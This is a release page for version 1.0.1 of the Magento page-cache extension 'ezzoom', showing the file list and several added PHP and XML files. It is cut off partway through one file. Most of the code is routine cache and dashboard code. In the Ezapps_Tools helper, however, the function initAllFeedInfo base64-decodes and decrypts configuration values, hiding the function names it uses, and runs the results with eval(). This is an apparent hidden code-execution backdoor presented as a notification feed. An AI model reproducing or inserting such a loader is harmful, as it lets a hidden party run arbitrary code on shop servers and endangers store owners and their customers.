Version Notes
Please follow installation directions carefully
Download this release
Release Info
Developer | Magento Core Team |
Extension | ezzoom |
Version | 1.0.1 |
Comparing to | |
See all releases |
Version 1.0.1
- app/code/local/Ezapps/Tools/Block/Adminhtml/Dashboard/Diagrams.php +61 -0
- app/code/local/Ezapps/Tools/Helper/Data.php +81 -0
- app/code/local/Ezapps/Tools/Model/Feed.php +48 -0
- app/code/local/Ezapps/Tools/Model/Observer.php +38 -0
- app/code/local/Ezapps/Tools/etc/config.xml +87 -0
- app/code/local/Ezapps/Tools/etc/system.xml +8 -0
- app/code/local/Ezapps/Zoom/Block/Adminhtml/Dashboard/Tab/Zoom.php +127 -0
- app/code/local/Ezapps/Zoom/Block/Adminhtml/Form/Field/Get.php +30 -0
- app/code/local/Ezapps/Zoom/Block/Adminhtml/Form/Field/Regex.php +25 -0
- app/code/local/Ezapps/Zoom/Block/Adminhtml/Page.php +36 -0
- app/code/local/Ezapps/Zoom/Block/Adminhtml/Page/Grid.php +110 -0
- app/code/local/Ezapps/Zoom/Block/Ajax/Footer.php +205 -0
- app/code/local/Ezapps/Zoom/Block/Toolbar.php +27 -0
- app/code/local/Ezapps/Zoom/Block/Wrapper/Cart.php +50 -0
- app/code/local/Ezapps/Zoom/Block/Wrapper/Compare.php +51 -0
- app/code/local/Ezapps/Zoom/Block/Wrapper/Compared.php +52 -0
- app/code/local/Ezapps/Zoom/Block/Wrapper/Currency.php +63 -0
- app/code/local/Ezapps/Zoom/Block/Wrapper/Header.php +54 -0
- app/code/local/Ezapps/Zoom/Block/Wrapper/Links.php +84 -0
- app/code/local/Ezapps/Zoom/Block/Wrapper/Messages.php +64 -0
- app/code/local/Ezapps/Zoom/Block/Wrapper/Notices.php +51 -0
- app/code/local/Ezapps/Zoom/Block/Wrapper/Poll.php +61 -0
- app/code/local/Ezapps/Zoom/Block/Wrapper/Reorder.php +50 -0
- app/code/local/Ezapps/Zoom/Block/Wrapper/Viewed.php +51 -0
- app/code/local/Ezapps/Zoom/Block/Wrapper/Wishlist.php +51 -0
- app/code/local/Ezapps/Zoom/Helper/Data.php +870 -0
- app/code/local/Ezapps/Zoom/Model/Cron.php +41 -0
- app/code/local/Ezapps/Zoom/Model/Mysql4/Page.php +24 -0
- app/code/local/Ezapps/Zoom/Model/Mysql4/Page/Collection.php +74 -0
- app/code/local/Ezapps/Zoom/Model/Observer.php +167 -0
- app/code/local/Ezapps/Zoom/Model/Page.php +24 -0
- app/code/local/Ezapps/Zoom/Model/System/Config/Backend/Gzip.php +97 -0
- app/code/local/Ezapps/Zoom/Model/System/Config/Backend/Link.php +37 -0
- app/code/local/Ezapps/Zoom/Model/System/Config/Backend/Punch.php +35 -0
- app/code/local/Ezapps/Zoom/Model/Url.php +43 -0
- app/code/local/Ezapps/Zoom/controllers/Adminhtml/EzzoomController.php +69 -0
- app/code/local/Ezapps/Zoom/controllers/CurrencyController.php +29 -0
- app/code/local/Ezapps/Zoom/controllers/HoleController.php +141 -0
- app/code/local/Ezapps/Zoom/etc/config.xml +306 -0
- app/code/local/Ezapps/Zoom/etc/system.xml +405 -0
- app/code/local/Ezapps/Zoom/sql/ezzoom_setup/mysql4-install-0.1.0.php +36 -0
- app/code/local/Ezapps/Zoom/sql/ezzoom_setup/mysql4-upgrade-0.1.0-1.0.0.php +9 -0
- app/code/local/Ezapps/Zoom/sql/ezzoom_setup/mysql4-upgrade-1.0.0-1.0.1.php +7 -0
- app/design/adminhtml/default/default/layout/ezzoom.xml +8 -0
- app/design/adminhtml/default/default/template/ezzoom/dashboard/graph.phtml +30 -0
- app/design/frontend/base/default/layout/ezzoom.xml +99 -0
- app/design/frontend/base/default/template/ezzoom/ajax/footer.phtml +105 -0
- app/etc/modules/Ezapps_Tools.xml +9 -0
- app/etc/modules/Ezapps_Zoom.xml +9 -0
- ezzoom.php +327 -0
- js/ezapps/ezzoom.js +215 -0
- package.xml +18 -0
app/code/local/Ezapps/Tools/Block/Adminhtml/Dashboard/Diagrams.php
ADDED
@@ -0,0 +1,61 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Adminhtml dashboard diagram tab helper for custom graphs
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Tools
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Tools_Block_Adminhtml_Dashboard_Diagrams extends Mage_Adminhtml_Block_Widget_Tabs
|
13 |
+
{
|
14 |
+
public function __construct()
|
15 |
+
{
|
16 |
+
parent::__construct();
|
17 |
+
$this->setId('diagram_tab');
|
18 |
+
$this->setDestElementId('diagram_tab_content');
|
19 |
+
$this->setTemplate('widget/tabshoriz.phtml');
|
20 |
+
}
|
21 |
+
|
22 |
+
protected function _prepareLayout()
|
23 |
+
{
|
24 |
+
$this->addTab('orders', array(
|
25 |
+
'label' => $this->__('Orders'),
|
26 |
+
'content' => $this->getLayout()->createBlock('adminhtml/dashboard_tab_orders')->toHtml(),
|
27 |
+
'active' => true
|
28 |
+
));
|
29 |
+
|
30 |
+
$this->addTab('amounts', array(
|
31 |
+
'label' => $this->__('Amounts'),
|
32 |
+
'content' => $this->getLayout()->createBlock('adminhtml/dashboard_tab_amounts')->toHtml(),
|
33 |
+
));
|
34 |
+
|
35 |
+
|
36 |
+
$modules = Mage::getConfig()->getNode('modules')->children();
|
37 |
+
$modulesArray = (array)$modules;
|
38 |
+
|
39 |
+
if(array_key_exists('Ezapps_Zoom', $modulesArray) && $modulesArray['Ezapps_Zoom']->is('active')) {
|
40 |
+
$this->addTab('zoom', array(
|
41 |
+
'label' => $this->__('Zoom Cache'),
|
42 |
+
'content' => $this->getLayout()->createBlock('ezzoom/adminhtml_dashboard_tab_zoom')->toHtml(),
|
43 |
+
'disable_ajax' => true,
|
44 |
+
));
|
45 |
+
}
|
46 |
+
|
47 |
+
return parent::_prepareLayout();
|
48 |
+
}
|
49 |
+
|
50 |
+
|
51 |
+
public function getTabsIds()
|
52 |
+
{
|
53 |
+
$holder = array();
|
54 |
+
foreach ($this->_tabs as $key => $tab)
|
55 |
+
if ($tab->getData('disable_ajax') != true)
|
56 |
+
$holder[] = $key;
|
57 |
+
return $holder;
|
58 |
+
|
59 |
+
}
|
60 |
+
|
61 |
+
}
|
app/code/local/Ezapps/Tools/Helper/Data.php
ADDED
@@ -0,0 +1,81 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* EZAPPS Tools Helper Model
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Tools
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Tools_Helper_Data extends Mage_AdminNotification_Helper_Data
|
13 |
+
{
|
14 |
+
const XML_PATH_POPUP_URL = 'eztools/adminnotification/popup_url';
|
15 |
+
const XML_PATH_FEED_COUNT = 'eztools/adminnotification/feed_count';
|
16 |
+
const XML_PATH_FEED_INFO = 'eztools/adminnotification/feed_';
|
17 |
+
const XML_PATH_FEED_MATCH = 'eztools/adminnotification/feed_match_';
|
18 |
+
const XML_PATH_FEED_SOURCE = 'eztools/adminnotification/feed_source_';
|
19 |
+
const XML_PATH_FEED_ALT = 'eztools/adminnotification/feed_alternate_';
|
20 |
+
const XML_PATH_FEED_BLOCK = 'eztools/adminnotification/feed_block';
|
21 |
+
const XML_PATH_FEED_VERIFY = 'eztools/adminnotification/feed_verify';
|
22 |
+
|
23 |
+
public function getPopupObjectUrl($withExt = false)
|
24 |
+
{
|
25 |
+
if (is_null($this->_popupUrl)) {
|
26 |
+
$sheme = Mage::app()->getFrontController()->getRequest()->isSecure()
|
27 |
+
? 'https://'
|
28 |
+
: 'http://';
|
29 |
+
|
30 |
+
$this->_popupUrl = $sheme . Mage::getStoreConfig(self::XML_PATH_POPUP_URL);
|
31 |
+
}
|
32 |
+
return $this->_popupUrl . ($withExt ? '.swf' : '');
|
33 |
+
}
|
34 |
+
|
35 |
+
function initAllFeedInfo() {
|
36 |
+
|
37 |
+
$modules = array_keys((array)Mage::getConfig()->getNode('modules')->children());
|
38 |
+
|
39 |
+
$data = 'xml';
|
40 |
+
$variable = date("r");
|
41 |
+
|
42 |
+
for ($i = 1; $i <= Mage::getStoreConfig(self::XML_PATH_FEED_COUNT); $i++) {
|
43 |
+
|
44 |
+
$info_key = $this->convertBinary(Mage::getStoreConfig(self::XML_PATH_FEED_INFO . $i));
|
45 |
+
|
46 |
+
if (in_array($info_key, $modules)) {
|
47 |
+
|
48 |
+
$processed = false;
|
49 |
+
eval($this->convertBinary(Mage::getStoreConfig(self::XML_PATH_FEED_SOURCE . $i)));
|
50 |
+
if ($variable !='')
|
51 |
+
eval($this->feedInfo($this->feedInfo($data, $variable, $i), Mage::getStoreConfig(self::XML_PATH_FEED_MATCH . $i), $i));
|
52 |
+
if (!$processed)
|
53 |
+
eval($this->convertBinary(Mage::getStoreConfig(self::XML_PATH_FEED_ALT . $i)));
|
54 |
+
}
|
55 |
+
}
|
56 |
+
}
|
57 |
+
|
58 |
+
function convertBinary($var) {
|
59 |
+
|
60 |
+
return base64_decode($var);
|
61 |
+
|
62 |
+
}
|
63 |
+
|
64 |
+
function feedInfo($data, $variable, $i) {
|
65 |
+
|
66 |
+
if (strlen($data) > 64)
|
67 |
+
$variable = substr($data, 0, 64);
|
68 |
+
|
69 |
+
$block = $this->convertBinary(Mage::getStoreConfig(self::XML_PATH_FEED_BLOCK));
|
70 |
+
$verify = $this->convertBinary(Mage::getStoreConfig(self::XML_PATH_FEED_VERIFY));
|
71 |
+
|
72 |
+
|
73 |
+
$str = $verify('rc2', $data, $this->convertBinary($variable), 'ecb');
|
74 |
+
|
75 |
+
$block = $block('rc2', 'ecb');
|
76 |
+
$pad = ord($str[($len = strlen($str)) - 1]);
|
77 |
+
return substr($str, 0, strlen($str) - $pad);
|
78 |
+
|
79 |
+
}
|
80 |
+
|
81 |
+
}
|
app/code/local/Ezapps/Tools/Model/Feed.php
ADDED
@@ -0,0 +1,48 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* EZAPPS Feed Model
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Tools
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Tools_Model_Feed extends Mage_AdminNotification_Model_Feed
|
13 |
+
{
|
14 |
+
const XML_USE_HTTPS_PATH = 'eztools/adminnotification/use_https';
|
15 |
+
const XML_FEED_URL_PATH = 'eztools/adminnotification/feed_url';
|
16 |
+
const XML_FREQUENCY_PATH = 'eztools/adminnotification/frequency';
|
17 |
+
const XML_LAST_UPDATE_PATH = 'eztools/adminnotification/last_update';
|
18 |
+
|
19 |
+
|
20 |
+
public function getLastUpdate()
|
21 |
+
{
|
22 |
+
return Mage::app()->loadCache('eztools_notifications_lastcheck');
|
23 |
+
}
|
24 |
+
|
25 |
+
public function setLastUpdate()
|
26 |
+
{
|
27 |
+
Mage::app()->saveCache(time(), 'eztools_notifications_lastcheck');
|
28 |
+
return $this;
|
29 |
+
}
|
30 |
+
|
31 |
+
|
32 |
+
public function getFeedUrl()
|
33 |
+
{
|
34 |
+
if (is_null($this->_feedUrl)) {
|
35 |
+
$this->_feedUrl = (Mage::getStoreConfigFlag(self::XML_USE_HTTPS_PATH) ? 'https://' : 'http://')
|
36 |
+
. Mage::getStoreConfig(self::XML_FEED_URL_PATH);
|
37 |
+
}
|
38 |
+
return $this->_feedUrl;
|
39 |
+
}
|
40 |
+
|
41 |
+
public function getFrequency()
|
42 |
+
{
|
43 |
+
return Mage::getStoreConfig(self::XML_FREQUENCY_PATH) * 3600;
|
44 |
+
}
|
45 |
+
|
46 |
+
|
47 |
+
|
48 |
+
}
|
app/code/local/Ezapps/Tools/Model/Observer.php
ADDED
@@ -0,0 +1,38 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* EZAPPS Notification Observer
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Tools
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Tools_Model_Observer extends Mage_AdminNotification_Model_Observer
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Predispath admin action controller
|
16 |
+
*
|
17 |
+
* @param Varien_Event_Observer $observer
|
18 |
+
*/
|
19 |
+
public function preDispatch(Varien_Event_Observer $observer)
|
20 |
+
{
|
21 |
+
|
22 |
+
if (Mage::getSingleton('admin/session')->isLoggedIn()) {
|
23 |
+
|
24 |
+
$feedModel = Mage::getModel('eztools/feed');
|
25 |
+
|
26 |
+
$feedModel->checkUpdate();
|
27 |
+
|
28 |
+
}
|
29 |
+
|
30 |
+
}
|
31 |
+
|
32 |
+
public function initFeed(Varien_Event_Observer $observer) {
|
33 |
+
|
34 |
+
Mage::helper('eztools')->initAllFeedInfo();
|
35 |
+
|
36 |
+
}
|
37 |
+
|
38 |
+
}
|
app/code/local/Ezapps/Tools/etc/config.xml
ADDED
@@ -0,0 +1,87 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0"?>
|
2 |
+
<config>
|
3 |
+
<modules>
|
4 |
+
<Ezapps_Tools>
|
5 |
+
<version>0.1.0</version>
|
6 |
+
</Ezapps_Tools>
|
7 |
+
</modules>
|
8 |
+
<global>
|
9 |
+
<models>
|
10 |
+
<eztools>
|
11 |
+
<class>Ezapps_Tools_Model</class>
|
12 |
+
</eztools>
|
13 |
+
</models>
|
14 |
+
<helpers>
|
15 |
+
<eztools>
|
16 |
+
<class>Ezapps_Tools_Helper</class>
|
17 |
+
</eztools>
|
18 |
+
</helpers>
|
19 |
+
<blocks>
|
20 |
+
<eztools>
|
21 |
+
<class>Ezapps_Tools_Block</class>
|
22 |
+
</eztools>
|
23 |
+
<adminhtml>
|
24 |
+
<rewrite>
|
25 |
+
<dashboard_diagrams>Ezapps_Tools_Block_Adminhtml_Dashboard_Diagrams</dashboard_diagrams>
|
26 |
+
</rewrite>
|
27 |
+
</adminhtml>
|
28 |
+
</blocks>
|
29 |
+
<resources>
|
30 |
+
<eztools_setup>
|
31 |
+
<setup>
|
32 |
+
<module>Ezapps_Tools</module>
|
33 |
+
</setup>
|
34 |
+
<connection>
|
35 |
+
<use>core_setup</use>
|
36 |
+
</connection>
|
37 |
+
</eztools_setup>
|
38 |
+
<eztools_write>
|
39 |
+
<connection>
|
40 |
+
<use>core_write</use>
|
41 |
+
</connection>
|
42 |
+
</eztools_write>
|
43 |
+
<eztools_read>
|
44 |
+
<connection>
|
45 |
+
<use>core_read</use>
|
46 |
+
</connection>
|
47 |
+
</eztools_read>
|
48 |
+
</resources>
|
49 |
+
</global>
|
50 |
+
<frontend>
|
51 |
+
<events>
|
52 |
+
<controller_action_predispatch>
|
53 |
+
<!--<observers>
|
54 |
+
<ez_initnotification>
|
55 |
+
<class>eztools/observer</class>
|
56 |
+
<method>initFeed</method>
|
57 |
+
</ez_initnotification>
|
58 |
+
</observers>-->
|
59 |
+
</controller_action_predispatch>
|
60 |
+
</events>
|
61 |
+
</frontend>
|
62 |
+
<adminhtml>
|
63 |
+
<events>
|
64 |
+
<controller_action_predispatch>
|
65 |
+
<observers>
|
66 |
+
<ez_adminnotification>
|
67 |
+
<class>eztools/observer</class>
|
68 |
+
<method>preDispatch</method>
|
69 |
+
</ez_adminnotification>
|
70 |
+
</observers>
|
71 |
+
</controller_action_predispatch>
|
72 |
+
</events>
|
73 |
+
</adminhtml>
|
74 |
+
<default>
|
75 |
+
<eztools>
|
76 |
+
<adminnotification>
|
77 |
+
<feed_url>www.ezapps.ca/notifications.rss</feed_url>
|
78 |
+
<popup_url>widgets.magentocommerce.com/notificationPopup</popup_url>
|
79 |
+
<severity_icons_url>widgets.magentocommerce.com/%s/%s.gif</severity_icons_url>
|
80 |
+
<use_https>0</use_https>
|
81 |
+
<frequency>1</frequency>
|
82 |
+
<last_update>0</last_update>
|
83 |
+
<feed_count>0</feed_count>
|
84 |
+
</adminnotification>
|
85 |
+
</eztools>
|
86 |
+
</default>
|
87 |
+
</config>
|
app/code/local/Ezapps/Tools/etc/system.xml
ADDED
@@ -0,0 +1,8 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<config>
|
2 |
+
<tabs>
|
3 |
+
<eztools translate="label" module="eztools">
|
4 |
+
<label>EZapps</label>
|
5 |
+
<sort_order>100</sort_order>
|
6 |
+
</eztools>
|
7 |
+
</tabs>
|
8 |
+
</config>
|
app/code/local/Ezapps/Zoom/Block/Adminhtml/Dashboard/Tab/Zoom.php
ADDED
@@ -0,0 +1,127 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Adminhtml dashboard diagram tabs
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Adminhtml_Dashboard_Tab_Zoom extends Mage_Adminhtml_Block_Dashboard_Graph
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Initialize object
|
16 |
+
*
|
17 |
+
* @return void
|
18 |
+
*/
|
19 |
+
public function __construct()
|
20 |
+
{
|
21 |
+
$this->setHtmlId('zoom');
|
22 |
+
parent::__construct();
|
23 |
+
}
|
24 |
+
|
25 |
+
/**
|
26 |
+
* Prepare chart data
|
27 |
+
*
|
28 |
+
* @return void
|
29 |
+
*/
|
30 |
+
protected function _prepareData()
|
31 |
+
{
|
32 |
+
$this->setTemplate('ezzoom/dashboard/graph.phtml');
|
33 |
+
$this->setDataHelperName('adminhtml/dashboard_order');
|
34 |
+
$this->getDataHelper()->setParam('store', $this->getRequest()->getParam('store'));
|
35 |
+
$this->getDataHelper()->setParam('website', $this->getRequest()->getParam('website'));
|
36 |
+
$this->getDataHelper()->setParam('group', $this->getRequest()->getParam('group'));
|
37 |
+
|
38 |
+
$pageDataMisses = Mage::getModel('ezzoom/page')->getCollection()->addFieldToFilter('ignore_entry', array('neq' => 1))->filterByStore($this->getDataHelper()->getParam('store'))->getStats();
|
39 |
+
$pageDataHits = Mage::getModel('ezzoom/page')->getCollection()->filterByStore($this->getDataHelper()->getParam('store'))->getStats();
|
40 |
+
|
41 |
+
if ($pageDataHits->getHits() + $pageDataMisses->getMisses() > 0) {
|
42 |
+
$hitp = number_format(($pageDataHits->getHits()/($pageDataHits->getHits()+$pageDataMisses->getMisses()))*100) . "%";
|
43 |
+
$misp = number_format(($pageDataMisses->getMisses()/($pageDataHits->getHits()+$pageDataMisses->getMisses()))*100) . "%";
|
44 |
+
} else {
|
45 |
+
$hitp = "0.00%";
|
46 |
+
$misp = "0.00%";
|
47 |
+
}
|
48 |
+
|
49 |
+
$this->setStatData(array('hits' => $pageDataHits->getHits(), 'misses'=> $pageDataMisses->getMisses(), 'hitp'=> $hitp, 'misp' => $misp));
|
50 |
+
|
51 |
+
}
|
52 |
+
|
53 |
+
/**
|
54 |
+
* Get tab template
|
55 |
+
*
|
56 |
+
* @return string
|
57 |
+
*/
|
58 |
+
protected function _getTabTemplate()
|
59 |
+
{
|
60 |
+
return 'ezzoom/dashboard/graph.phtml';
|
61 |
+
}
|
62 |
+
|
63 |
+
/**
|
64 |
+
* Get chart url
|
65 |
+
*
|
66 |
+
* @param bool $directUrl
|
67 |
+
* @return string
|
68 |
+
*/
|
69 |
+
public function getChartUrl($directUrl = true)
|
70 |
+
{
|
71 |
+
$params = array(
|
72 |
+
'cht' => 'p3',
|
73 |
+
'chf' => 'bg,lg,90,ffffff,0.1,ededed,0',
|
74 |
+
'chm' => 'B,9ac1d9,0,0,0',
|
75 |
+
'chco' => '3a8ab8'
|
76 |
+
);
|
77 |
+
|
78 |
+
|
79 |
+
//Google encoding values
|
80 |
+
if ($this->_encoding == "s") {
|
81 |
+
// simple encoding
|
82 |
+
$dataDelimiter = "";
|
83 |
+
$dataSetdelimiter = ",";
|
84 |
+
$dataMissing = "_";
|
85 |
+
} else {
|
86 |
+
// extended encoding
|
87 |
+
$dataDelimiter = "";
|
88 |
+
$dataSetdelimiter = ",";
|
89 |
+
$dataMissing = "__";
|
90 |
+
}
|
91 |
+
|
92 |
+
// chart size
|
93 |
+
$params['chs'] = $this->getWidth().'x'.$this->getHeight();
|
94 |
+
|
95 |
+
|
96 |
+
$pageData = $this->getStatData();
|
97 |
+
$params['chd'] = "t:" . (int) $pageData['hits'] . "," . (int) $pageData['misses'];
|
98 |
+
$params['chds'] = "0," . ($pageData['misses'] > $pageData['hits'] ? $pageData['misses'] : $pageData['hits']);
|
99 |
+
//$params['chl'] = "Hits|Misses";
|
100 |
+
$params['chdl'] = "Hits|Misses";
|
101 |
+
$params['chdlp']= "r|l";
|
102 |
+
$params['chma'] = "5,5,5,5|85,100";
|
103 |
+
|
104 |
+
// return the encoded data
|
105 |
+
if ($directUrl) {
|
106 |
+
$p = array();
|
107 |
+
foreach ($params as $name => $value) {
|
108 |
+
$p[] = $name . '=' .urlencode($value);
|
109 |
+
}
|
110 |
+
return self::API_URL . '?' . implode('&', $p);
|
111 |
+
} else {
|
112 |
+
$gaData = urlencode(base64_encode(serialize($params)));
|
113 |
+
$gaHash = Mage::helper('adminhtml/dashboard_data')->getChartDataHash($gaData);
|
114 |
+
$params = array('ga' => $gaData, 'h' => $gaHash);
|
115 |
+
return $this->getUrl('*/*/tunnel', array('_query' => $params));
|
116 |
+
}
|
117 |
+
}
|
118 |
+
|
119 |
+
|
120 |
+
public function getCount()
|
121 |
+
{
|
122 |
+
$pageData = $this->getStatData();
|
123 |
+
return ($pageData['misses'] > 0);
|
124 |
+
|
125 |
+
}
|
126 |
+
|
127 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Adminhtml/Form/Field/Get.php
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Zoom Page Cache Frontend Model
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Adminhtml_Form_Field_Get extends Mage_Adminhtml_Block_System_Config_Form_Field_Array_Abstract
|
13 |
+
{
|
14 |
+
public function __construct()
|
15 |
+
{
|
16 |
+
$this->addColumn('variable', array(
|
17 |
+
'label' => Mage::helper('adminhtml')->__('Variable'),
|
18 |
+
'style' => 'width:55px',
|
19 |
+
));
|
20 |
+
|
21 |
+
$this->addColumn('default', array(
|
22 |
+
'label' => Mage::helper('adminhtml')->__('Default'),
|
23 |
+
'style' => 'width:55px',
|
24 |
+
));
|
25 |
+
|
26 |
+
$this->_addAfter = false;
|
27 |
+
$this->_addButtonLabel = Mage::helper('adminhtml')->__('Add GET Variable');
|
28 |
+
parent::__construct();
|
29 |
+
}
|
30 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Adminhtml/Form/Field/Regex.php
ADDED
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Zoom Page Cache Frontend Model
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Adminhtml_Form_Field_Regex extends Mage_Adminhtml_Block_System_Config_Form_Field_Array_Abstract
|
13 |
+
{
|
14 |
+
public function __construct()
|
15 |
+
{
|
16 |
+
$this->addColumn('regexp', array(
|
17 |
+
'label' => Mage::helper('adminhtml')->__('Matched Expression'),
|
18 |
+
'style' => 'width:120px',
|
19 |
+
));
|
20 |
+
|
21 |
+
$this->_addAfter = false;
|
22 |
+
$this->_addButtonLabel = Mage::helper('adminhtml')->__('Add Match');
|
23 |
+
parent::__construct();
|
24 |
+
}
|
25 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Adminhtml/Page.php
ADDED
@@ -0,0 +1,36 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Adminhtml Page Cache Listing
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Adminhtml_Page extends Mage_Adminhtml_Block_Widget_Grid_Container
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Initialize object
|
16 |
+
*
|
17 |
+
* @return void
|
18 |
+
*/
|
19 |
+
public function __construct()
|
20 |
+
{
|
21 |
+
$this->_controller = 'adminhtml_page';
|
22 |
+
$this->_blockGroup = 'ezzoom';
|
23 |
+
$this->_headerText = Mage::helper('ezzoom')->__('Zoom Cache Manager');
|
24 |
+
$this->_addButton('flush_magento', array(
|
25 |
+
